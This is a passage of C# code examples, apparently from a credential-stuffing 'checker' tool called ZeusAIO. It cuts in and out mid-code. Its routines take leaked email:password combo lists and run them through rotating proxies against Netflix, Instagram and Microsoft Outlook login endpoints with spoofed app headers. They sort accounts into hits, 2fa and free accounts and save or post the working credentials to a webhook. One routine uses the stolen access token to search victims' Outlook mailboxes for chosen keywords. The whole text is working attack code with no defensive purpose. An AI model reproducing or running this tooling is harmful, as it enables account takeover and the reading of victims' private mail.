                                break;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                    }
                    catch
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
Example #13
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var random     = "NFAPPL-02-IPHONE7=2-" + RandomCapitalsAndDigits(64);
                            var KIR        = UrlEncode("NFAPPL-02-IPHONE7=2-" + random);
                            var paramsData = UrlEncode("{\"action\":\"loginAction\",\"fields\":{\"userLoginId\":\"" +
                                                       array[0] + "\",\"rememberMe\":\"true\",\"password\":\"" +
                                                       array[1] +
                                                       "\"},\"verb\":\"POST\",\"mode\":\"login\",\"flow\":\"appleSignUp\"}");
                            var length =
                                "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" +
                                KIR +
                                "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param=" +
                                paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json"
                                .Length;

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent = "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)";
                            req.AddHeader("Host", "ios.prod.ftl.netflix.com");
                            req.AddHeader("X-Netflix.Argo.abTests", "");
                            req.AddHeader("X-Netflix.client.appVersion", "11.44.0");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("X-Netflix.Argo.NFNSM", "9");
                            req.AddHeader("Accept-Language", "en-US;q=1, fa-UK;q=0.9, en-UK;q=0.8, ar-UK;q=0.7");
                            req.AddHeader("Accept-Encoding", "gzip, deflate");
                            req.AddHeader("X-Netflix.Request.Attempt", "1");
                            req.AddHeader("X-Netflix.client.idiom", "phone");
                            req.AddHeader("X-Netflix.Request.Routing",
                                          "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}");
                            req.AddHeader("X-Netflix.client.type", "argo");
                            req.AddHeader("Content-Length", length);
                            req.AddHeader("Connection", "close");
                            req.AddHeader("X-Netflix.client.iosVersion", "12.4.3");

                            var post = req.Post("https://ios.prod.ftl.netflix.com/iosui/user/11.44",
                                                "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" +
                                                KIR +
                                                "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param=" +
                                                paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json",
                                                "application/x-www-form-urlencoded").ToString();

                            if (!post.Contains("\"value\":\"incorrect_password\"},") ||
                                !post.Contains("unrecognized_email_consumption_only") ||
                                !post.Contains("login_error_consumption_only"))
                            {
                                if (post.Contains("memberHome"))
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    var cookie   = Parse(post, "\"flwssn\":\"", "\"");
                                    var cookiess = new CookieStorage();

                                    req.AddHeader("Cookie", "flwssn: " + cookie);
                                    req.Cookies = cookiess;
                                    req.AddHeader("Accept",
                                                  "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                                    req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                                    req.AddHeader("Cache-Control", "max-age=0");
                                    req.AddHeader("Connection", "keep-alive");
                                    req.Referer = "https://www.netflix.com/browse";
                                    req.AddHeader("Sec-Fetch-Dest", "document");
                                    req.AddHeader("Sec-Fetch-Mode", "navigate");
                                    req.AddHeader("Sec-Fetch-Site", "same-origin");
                                    req.AddHeader("Sec-Fetch-User", "?1");
                                    req.AddHeader("Upgrade-Insecure-Requests", "1");
                                    req.UserAgent =
                                        "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1";
                                    var strResponse = req.Get(new Uri("https://www.netflix.com/YourAccount"))
                                                      .ToString();

                                    if (strResponse.Contains("currentPlanName\""))
                                    {
                                        var Sub     = Parse(strResponse, "\"currentPlanName\":\"", "\"");
                                        var plan    = Parse(strResponse, ",\"planDuration\":\"", "\",\"localizedPlanName");
                                        var trial   = Parse(strResponse, "\"isInFreeTrial\":", ",");
                                        var Country = Parse(strResponse, "\",\"currentCountry\":\"", "\"");

                                        var capture =
                                            $"Suubscription: {Sub} - Plan: {plan} - Trial: {trial} - Country: {Country}";
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("NETFLIX", array[0] + ":" + array[1] + capture);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1],
                                                                    "NETFLIX");
                                        }
                                    }
                                }
                                else if (post.Contains("never_member_consumption_only"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("NETFLIX", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1],
                                                                "NETFLIX Frees");
                                    }
                                }
                                else if (post.Contains("former_member_consumption_only"))
                                {
                                    Program.Others++;
                                    Program.TotalChecks++;
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Example #14
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.IgnoreProtocolErrors            = true;
                            httpRequest.AllowAutoRedirect               = false;
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            CookieStorage cookies = new CookieStorage();

                            string token = InstagramGetCSRF(ref cookies);

                            httpRequest.Cookies = cookies;
                            httpRequest.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            httpRequest.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";
                            httpRequest.AddHeader("Pragma", "no-cache");
                            httpRequest.AddHeader("Accept", "*/*");
                            httpRequest.AddHeader("Cookie2", "$Version=1");
                            httpRequest.AddHeader("Accept-Language", "en-US");
                            httpRequest.AddHeader("X-IG-Capabilities", "3boBAA==");
                            httpRequest.AddHeader("X-IG-Connection-Type", "WIFI");
                            httpRequest.AddHeader("X-IG-Connection-Speed", "-1kbps");
                            httpRequest.AddHeader("X-IG-App-ID", "567067343352427");
                            httpRequest.AddHeader("rur", "ATN");

                            string guid = (GetRandomHexNumber(8) + "-" + GetRandomHexNumber(4) + "-4" + GetRandomHexNumber(3) + "-8" + GetRandomHexNumber(3) + "-" + GetRandomHexNumber(12)).ToLower();

                            string android_id = "android-" + GetRandomHexNumber(16);

                            string jsonData = HttpUtility.UrlEncode("{\"_csrftoken\":\"" + token + "\",\"adid\":\"" + guid + "\",\"country_codes\":\"[{\\\"country_code\\\":\\\"1\\\",\\\"source\\\":[\\\"default\\\"]}]\",\"device_id\":\"" + android_id + "\",\"google_tokens\":\"[]\",\"guid\":\"" + guid + "\",\"login_attempt_count\":0,\"password\":\"" + s[1] + "\",\"phone_id\":\"" + guid + "\",\"username\":\"" + s[0] + "\"}");

                            string strResponse = httpRequest.Post(new Uri("https://i.instagram.com/api/v1/accounts/login/"), new BytesContent(Encoding.Default.GetBytes("signed_body=9387a4ccde8c044515539b8249da655d63a73093eaf7c4b45fad126aa961e45b." + jsonData + "&ig_sig_key_version=4"))).ToString();

                            if (strResponse.Contains("logged_in_user"))
                            {
                                string is_verified = Regex.Match(strResponse, "is_verified\": (.*?),").Groups[1].Value;
                                string is_business = Regex.Match(strResponse, "is_business\": (.*?),").Groups[1].Value;
                                string is_private  = Regex.Match(strResponse, "is_private\": (.*?),").Groups[1].Value;
                                string username    = Regex.Match(strResponse, "\"username\": \"(.*?)\"").Groups[1].Value;

                                string otherCapture = "";
                                otherCapture = InstagramGetCaptures(cookies, username);

                                if (otherCapture == "")
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - INSTAGRAM] " + s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}", Color.Green);
                                    }
                                    Export.AsResult("/Instagram_hits", s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}");
                                    return(false);
                                }
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - INSTAGRAM] " + s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}", Color.Green);
                                }
                                Export.AsResult("/Instagram_hits", s[0] + ":" + s[1] + " | " + $"Username: {username} - Verified: {is_verified} - Business: {is_business} - Private: {is_private}{otherCapture}");
                                return(false);
                            }
                            else if (strResponse.Contains("challenge_required") || strResponse.Contains("\"two_factor_required\": true,"))
                            {
                                ZeusAIO.mainmenu.frees++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[FREE - INSTAGRAM] " + s[0] + ":" + s[1] + " | 2fa", Color.OrangeRed);
                                }
                                Export.AsResult("/Instagram_frees", s[0] + ":" + s[1] + " | 2fa");
                                return(false);
                            }
                            else if (strResponse.Contains("\"The password you entered is incorrect. Please try again.\"") || strResponse.Contains("\"The username you entered doesn't appear to belong to an account. Please check your username and try again.\",") || strResponse.Contains("\"Invalid Parameters\","))
                            {
                                break;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                        break;
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
Example #15
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new Leaf.xNet.HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    var ua = Http.RandomUserAgent();
                    req.AddHeader("User-Agent", ua);
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    req.AddHeader("Accept-Encoding", "null");
                    req.AddHeader("Referer", "https://outlook.live.com/owa/0?state=1&redirectTo=aHR0cHM6Ly9vdXRsb29rLmxpdmUuY29tL21haWwvMA");
                    req.AddHeader("DNT", "1");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");

                    var    res0          = req.Get("https://outlook.live.com/owa/0?state=1&redirectTo=aHR0cHM6Ly9vdXRsb29rLmxpdmUuY29tL21haWwvMA&nlp=1");
                    string FIRST_REQUEST = res0.ToString();

                    var HPGID               = Functions.LR(FIRST_REQUEST, "hpgid:", ",").FirstOrDefault();
                    var UAID                = req.Cookies.GetCookies(res0.Address)["uaid"].Value;
                    var FLOWTOKEN           = Regex.Match(FIRST_REQUEST, "name=\"PPFT\" id=\".+?\" value=\"(.+?)\"").Groups[1].Value;
                    var LOGIN_CHECK_ADDRESS = Regex.Match(FIRST_REQUEST, "(?is:'(https://login\\.live\\.com/ppsecure/post\\.srf.+?)')").Groups[1].Value;

                    req.AllowAutoRedirect     = false;
                    req.EnableEncodingContent = true;
                    req.AddHeader("Host", "login.live.com");
                    req.AddHeader("User-Agent", ua);
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    req.AddHeader("Accept-Encoding", "null");
                    req.AddHeader("Referer", $"https://login.live.com/oauth20_authorize.srf?client_id=82023151-c27d-4fb5-8551-10c10724a55e&redirect_uri=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized&state=<STATE>&scope=xboxlive.signin&service_entity=undefined&force_verify=true&response_type=code&display=popup");
                    req.AddHeader("Origin", "https://login.live.com");
                    req.AddHeader("DNT", "1");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");

                    var    res1           = req.Post(LOGIN_CHECK_ADDRESS, $"i13=1&login={credentials[0]}&loginfmt={credentials[0]}&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={credentials[1]}&KMSI=on&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT={FLOWTOKEN}&PPSX=P&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&i2=1&i17=0&i18=&i19=3500", "application/x-www-form-urlencoded");
                    string SECOND_REQUEST = res1.ToString();

                    if (SECOND_REQUEST.Contains("sErrTxt:'Your account or password is incorrect."))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (SECOND_REQUEST.Contains("name=\"t\" id=\"t\" value=\""))
                    {
                        var PREREQ_DETAILS_ADDRESS = Functions.LR(SECOND_REQUEST, "id=\"fmHF\" action=\"", "\"").FirstOrDefault();
                        var NAPEXP  = Functions.LR(SECOND_REQUEST, "id=\"NAPExp\" value=\"", "\"").FirstOrDefault();
                        var WBIDS   = Functions.LR(SECOND_REQUEST, "id=\"wbids\" value=\"", "\"").FirstOrDefault();
                        var PPRID   = Functions.LR(SECOND_REQUEST, "id=\"pprid\" value=\"", "\"").FirstOrDefault();
                        var WBID    = Functions.LR(SECOND_REQUEST, "id=\"wbid\" value=\"", "\"").FirstOrDefault();
                        var NAP     = Functions.LR(SECOND_REQUEST, "id=\"NAP\" value=\"", "\"").FirstOrDefault();
                        var ANON    = Functions.LR(SECOND_REQUEST, "id=\"ANON\" value=\"", "\"").FirstOrDefault();
                        var ANONEXP = Functions.LR(SECOND_REQUEST, "id=\"ANONExp\" value=\"", "\"").FirstOrDefault();
                        var T       = Functions.LR(SECOND_REQUEST, "id=\"t\" value=\"", "\"").FirstOrDefault();

                        req.EnableEncodingContent = true;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                        req.AddHeader("accept-language", "ach,en-GB;q=0.8,en-US;q=0.5,en;q=0.3");
                        req.AddHeader("accept-encoding", "null");
                        req.AddHeader("referer", "https://login.live.com/");
                        req.AddHeader("origin", "https://login.live.com");
                        req.AddHeader("dnt", "1");
                        string ok = req.Post(PREREQ_DETAILS_ADDRESS, $"NAPExp={NAPEXP}&wbids={WBIDS}&pprid={PPRID}&wbid={WBID}&NAP={NAP}&ANON={ANON}&ANONExp={ANONEXP}&t={T}", "application/x-www-form-urlencoded").ToString();

                        req.AllowAutoRedirect = false;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "*/*");
                        req.AddHeader("accept-language", "ach,en-GB;q=0.8,en-US;q=0.5,en;q=0.3");
                        req.AddHeader("accept-encoding", "null");
                        req.AddHeader("referer", "https://outlook.live.com/");
                        req.AddHeader("action", "StartupData");
                        req.AddHeader("x-js-clienttype", "2");
                        req.AddHeader("x-js-experiment", "1");
                        req.AddHeader("x-owa-canary", "X-OWA-CANARY_cookie_is_null_or_empty");
                        req.AddHeader("x-req-source", "Mail");
                        req.AddHeader("Mail", "https://outlook.live.com");
                        req.AddHeader("dnt", "1");
                        string ok1 = req.Get("https://outlook.live.com/owa/0/startupdata.ashx?app=Mail&n=0").ToString();

                        req.AllowAutoRedirect = false;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "*/*");
                        req.AddHeader("accept-language", "accept-language");
                        req.AddHeader("accept-encoding", "gzip, deflate, br");
                        req.AddHeader("referer", "https://outlook.live.com/");
                        req.AddHeader("action", "GetAccessTokenforResource");
                        req.AddHeader("x-owa-canary", req.Cookies.GetCookies("https://outlook.live.com/owa/0/service.svc?action=GetAccessTokenforResource&UA=0&app=Mail")["X-OWA-CANARY"].Value);
                        req.AddHeader("x-owa-urlpostdata", "%7B%22__type%22%3A%22TokenRequest%3A%23Exchange%22%2C%22Resource%22%3A%22https%3A%2F%2Foutlook.live.com%22%7D");
                        req.AddHeader("x-req-source", "Mail");
                        req.AddHeader("origin", "https://outlook.live.com");
                        req.AddHeader("dnt", "1");

                        string ok2 = req.Post("https://outlook.live.com/owa/0/service.svc?action=GetAccessTokenforResource&UA=0&app=Mail", "w", "application/json").ToString();

                        if (!ok2.Contains("AccessToken"))
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }

                        var ACCESS_TOKEN = Functions.JSON(ok2, "AccessToken").FirstOrDefault();
                        var CVID         = Guid.NewGuid().ToString();

                        foreach (string line in File.ReadAllLines("Files//Keywords.txt"))
                        {
                            req.AllowAutoRedirect = false;
                            req.AddHeader("authorization", $"Bearer {ACCESS_TOKEN}");
                            string final = req.Post("https://outlook.live.com/search/api/v1/query", "{\"Cvid\":\"" + CVID + "\",\"Scenario\":{\"Name\":\"owa.react\"},\"TimeZone\":\"Pacific Standard Time\",\"TextDecorations\":\"Off\",\"EntityRequests\":[{\"EntityType\":\"Conversation\",\"Filter\":{\"Or\":[{\"Term\":{\"DistinguishedFolderName\":\"msgfolderroot\"}},{\"Term\":{\"DistinguishedFolderName\":\"DeletedItems\"}}]},\"From\":0,\"Provenances\":[\"Exchange\"],\"Query\":{\"QueryString\":\"" + line + "\"},\"RefiningQueries\":null,\"Size\":25,\"Sort\":[{\"Field\":\"Score\",\"SortDirection\":\"Desc\",\"Count\":3},{\"Field\":\"Time\",\"SortDirection\":\"Desc\"}],\"QueryAlterationOptions\":{\"EnableSuggestion\":true,\"EnableAlteration\":true,\"SupportedRecourseDisplayTypes\":[\"Suggestion\",\"NoResultModification\",\"NoResultFolderRefinerModification\",\"NoRequeryModification\"]},\"PropertySet\":\"ProvenanceOptimized\"}],\"LogicalId\":\"" + CVID + "\"}", "application/json").ToString();


                            if (final.Contains("\"ApiVersion\""))
                            {
                                var NAMES = string.Join(",", Functions.LR(final, "\"Address\":\"", "\"", true));
                                int a     = Regex.Matches(NAMES, line).Count;

                                if (a == 0)
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + line + " | Results: " + a, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{line}.txt", combo + " | Keyword: " + line + " | Results: " + a + Environment.NewLine);
                                    }
                                }
                            }
                            else
                            {
                                Variables.combos.Enqueue(combo);
                                Variables.proxyIndex++;
                                Variables.Errors++;
                            }
                        }
                    }
                    else if (SECOND_REQUEST.Contains("action=\"https://account.live.com/recover") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Abuse") || SECOND_REQUEST.Contains("action=\"https://account.live.com/ar/cancel") || SECOND_REQUEST.Contains("action=\"https://account.live.com/identity/confirm") || SECOND_REQUEST.Contains("title>Help us protect your account") || SECOND_REQUEST.Contains("action=\"https://account.live.com/RecoverAccount") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Email/Confirm") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Abuse") || SECOND_REQUEST.Contains("action=\"https://account.live.com/profile/accrue"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Example #16
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var cookies = new CookieStorage();

                            var token = InstagramGetCSRF(ref cookies);

                            req.Cookies = cookies;
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.UserAgent =
                                "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("Cookie2", "$Version=1");
                            req.AddHeader("Accept-Language", "en-US");
                            req.AddHeader("X-IG-Capabilities", "3boBAA==");
                            req.AddHeader("X-IG-Connection-Type", "WIFI");
                            req.AddHeader("X-IG-Connection-Speed", "-1kbps");
                            req.AddHeader("X-IG-App-ID", "567067343352427");
                            req.AddHeader("rur", "ATN");

                            var guid = (GetRandomHexNumber(8) + "-" + GetRandomHexNumber(4) + "-4" +
                                        GetRandomHexNumber(3) + "-8" + GetRandomHexNumber(3) + "-" +
                                        GetRandomHexNumber(12)).ToLower();

                            var android_id = "android-" + GetRandomHexNumber(16);

                            var jsonData = HttpUtility.UrlEncode("{\"_csrftoken\":\"" + token + "\",\"adid\":\"" +
                                                                 guid +
